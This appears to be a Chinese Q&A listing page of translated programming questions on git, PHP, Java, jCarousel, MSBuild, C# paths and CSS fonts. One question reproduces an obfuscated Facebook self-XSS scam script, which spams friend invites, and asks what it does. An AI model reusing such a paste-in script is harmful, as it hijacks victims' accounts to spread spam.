问题列表 - 第25902页

Git - 有没有办法查看作者提交的行数?

有没有人知道一个命令或脚本,它将输出已提交给项目的每个作者,然后输出他们贡献的行数.

例如类似于以下内容:

Author       Insertions   Deletions
Bob Dole     1240         409
Sarah J      481          140
Jim Helper   388          23
Run Code Online (Sandbox Code Playgroud)

干杯,本

git

19
推荐指数
2
解决办法
9124
查看次数

file_get_contents("php:// input")或$ HTTP_RAW_POST_DATA,哪一个更好地获取JSON请求的主体?

file_get_contents("php://input")或者$HTTP_RAW_POST_DATA- 哪一个更好地获得JSON请求的主体?

在使用客户端时,我应该使用哪种请求类型(GETPOST)来发送JSON数据XmlHTTPRequest

我的问题来自这个答案: 如何使用curl将JSON发布到PHP

从那个回答引用:

从协议的角度来看file_get_contents("php://input")实际上更正确,因为你还没有真正处理http多部分表单数据.

php json xmlhttprequest

112
推荐指数
3
解决办法
23万
查看次数

最好扩展一个类或直接修改它?

所以我正在为Java中的数据结构创建可视化.我已经开始实现数据结构(二进制搜索树),但我需要为包含的节点类添加一些额外的功能.就约定和最佳实践而言,我是否应该使用此附加功能创建节点的子类,还是应该修改我拥有的内容并将其记录在那里?

我的问题类似于这里提出的问题,但这有点过头了.

我知道这对我正在做的事情并不重要,所以我更多地问这个问题.

编辑:我可能应该更清楚.我的修改实际上并没有改变原始实现,只是添加了几个额外的字段(x和y coords以及一个布尔值来设置是否突出显示该节点)以及访问/修改这些字段的函数.我正在使用的节点类也包含在BST实现中

从阅读你的答案看起来似乎有两个案例的论点.我同意创建一个单独的类或接口可能是最好的事情.创建另一个类似乎可能会变得棘手,因为您仍然需要一种从节点中提取数据的方法.我正在使用的BST实现是通用的,并且在Node类或BST类中没有任何这样的功能只返回数据,所以至少我必须添加它.

感谢您提供丰富的回复.

java class extend

4
推荐指数
1
解决办法
838
查看次数

在XML Web Services中,将异常传递回客户端的最佳做法是什么?

如果我的Web方法抛出异常,那么将该异常传递给客户端的最佳做法是什么?

c# asp.net soap web-services exception

6
推荐指数
1
解决办法
484
查看次数

这段JavaScript究竟做了什么?

我看到这个页面在我的Facebook社交圈中越来越受欢迎,98%的bla bla ...它会引导用户复制下面的JavaScript(我添加了一些缩进以使其更具可读性)到他们的地址栏中.看起来很狡猾,但我只有JavaScript的基本知识.

简单地说,这是做什么的?

javascript:(function(){
a='app120668947950042_jop';
b='app120668947950042_jode';
ifc='app120668947950042_ifc';
ifo='app120668947950042_ifo';
mw='app120668947950042_mwrapper';
eval(function(p,a,c,k,e,r){
    e=function(c){
        return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}
    ;
    if(!''.replace(/^/,String)){
        while(c--)r[e(c)]=k[c]||e(c);
        k=[function(e){
            return r[e]}
        ];
        e=function(){
            return'\\w+'}
        ;
        c=1}
    ;
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
    return p}
('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];
        d=U;
        d[e[2]](V)[e[1]][e[0]]=e[3];
        d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
        s=d[e[2]](e[6]);
        m=d[e[2]](e[7]);
        c=d[e[9]](e[8]);
        c[e[11]](e[10],I,I);
        s[e[12]](c);
        C(D(){
            W[e[13]]()}
        ,E);
        C(D(){
            X[e[16]](e[14],e[15])}
        ,E);
        C(D(){
            m[e[12]](c);
            d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]}
        ,E);
        ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{
}
))})();
Run Code Online (Sandbox Code Playgroud)

javascript facebook

0
推荐指数
1
解决办法
2万
查看次数

jCarousel没有被隐藏在div中

我正在使用div来填充ul/li列表,然后从中绘制一个jCarousel.所以这很好用:

$('#mycarousel').jcarousel();
Run Code Online (Sandbox Code Playgroud)

这是问题所在:

单击另一个按钮可以隐藏包含ul/li项目的div.当div被隐藏,并且我重新调整浏览器窗口的大小时,jCarousel也会尝试重绘自己,但由于它是隐藏的,因此无法正确绘制它.结果是所有内容都在列表中混乱(如果我再次单击该按钮使其可见).但是,如果我现在重新调整窗口的大小(混乱的jCarousel现在不被隐藏),它会正确地重绘自己.

我尝试获取jCarousel实例的ahold,并在单击按钮后立即重新加载div以使div可见(当它可见并重新调整窗口大小时重新调整大小的方式).

要获得jCarousel,我正在使用:

JQuery('#mycarousel').data('jcarousel') 
Run Code Online (Sandbox Code Playgroud)

并返回null.

如何才能正确绘制jCarousel?

javascript jquery hidden jcarousel redraw

6
推荐指数
2
解决办法
3368
查看次数

运行MSBuild无法读取SDKToolsPath

你好,我在运行一个NAnt脚本时会遇到一些问题,这个脚本曾用于正确构建基于.Net 2.0的网站,当使用VS2008及其相关工具进行编译时.我最近将所有项目/解决方案文件升级到VS2010,现在我的构建失败并出现以下错误:

[exec] C:\ Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Common.targets(2249,9):错误MSB3086:任务无法使用S dkToolsPath""或注册表找到"sgen.exe"键"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SDKs\Windows\v7.0A".确保已设置SdkToolsPath,并且该工具位于SdkToolsPath下正确的处理器特定位置,并且已安装Microsoft Windows SDK

现在,我已经在构建服务器上安装了Windows SDK的早期版本(.Net 3.5),并且安装了完整的.Net 4.0框架,但我没有遇到.Net 4.0特定版本的Windows SDK.

经过一些实验和研究,我终于设置了一个新的环境变量"SDKToolsPath"并将其指向我的Windows 6.0 sdk文件夹中的sgen.exe副本.这会产生相同的错误,但它让我注意到即使设置了SDKToolsPath环境变量(确认我可以在命令行"回显"它并且它具有预期的值),错误消息似乎表明它是没有被阅读(注意空引号).

我发现的大多数信息都是特定的.Net 3.5(或更早版本).还没有多少相关的4.0.搜索错误代码MSB3086也没有任何用处.知道这可能是什么吗?

斯科特

.net msbuild

128
推荐指数
8
解决办法
11万
查看次数

有没有一种简单的方法可以在C#中结合两个相对路径?

我想在C#中结合两个相对路径。

例如:

string path1 = "/System/Configuration/Panels/Alpha";
string path2 = "Panels/Alpha/Data";
Run Code Online (Sandbox Code Playgroud)

我想回来

string result = "/System/Configuration/Panels/Alpha/Data";
Run Code Online (Sandbox Code Playgroud)

我可以通过拆分第二个数组并在for循环中对其进行比较来实现此目的,但我想知道是否存在类似于Path.Combine可用的东西,或者是否可以使用正则表达式或Linq完成?

谢谢

c# regex path relative-path

3
推荐指数
1
解决办法
626
查看次数

如何确定CSS堆栈中使用的字体是什么?

我疯狂地使用Firebug并且在CSS-"计算"选项卡中它只显示声明的堆栈,但不显示浏览器实际使用的字体.除了逐个删除字体并寻找更改(或具有惊人的字体识别技能)之外,有没有办法确定浏览器实际呈现了什么字体?

html css fonts

16
推荐指数
1
解决办法
3172
查看次数

.NET4:进程内并行执行说明

概述:我有兴趣了解更多关于.NET4"进程内并行执行"的程序集,并需要其他信息来帮助我揭开它的神秘面纱.

动机:有问题的应用程序是针对.NET2构建的,并使用两个也可以对抗.NET2的第三方库.应用程序部署(通过文件复制)到包含.NET2的虚拟环境中的客户端计算机. 不是我的建筑,请耐心等待.

目标:要查看是否有可能像以前一样重新构建应用程序组件(或子集)对.NET4并销售应用程序,而无需改变第三方库和包括.NET4客户端配置文件(如描述这里的部署) .

采取的步骤:阅读了以下文章,但没有提供足够的信息:

  1. 进程内并行执行:浏览本文,方案二是最接近描述类似于我的情况的东西,但并没有真正涵盖任何深度.

  2. ASP.NET并行执行概述:本文涉及Web应用程序,但我正在处理客户端WinForms应用程序.

  3. CLR团队博客:进程内并排:这有助于解释.NET4下托管进程的插件是如何运行的,但我不知道这是否适用于第三方库.

进一步的步骤:我也不清楚如何继续将单个.NET2程序集升级到.NET4,可执行文件保留在.NET2中(即如何配置解决方案/项目文件,如果需要包含任何特殊代码,等等).

.net c# assemblies process .net-4.0

22
推荐指数
1
解决办法
2929
查看次数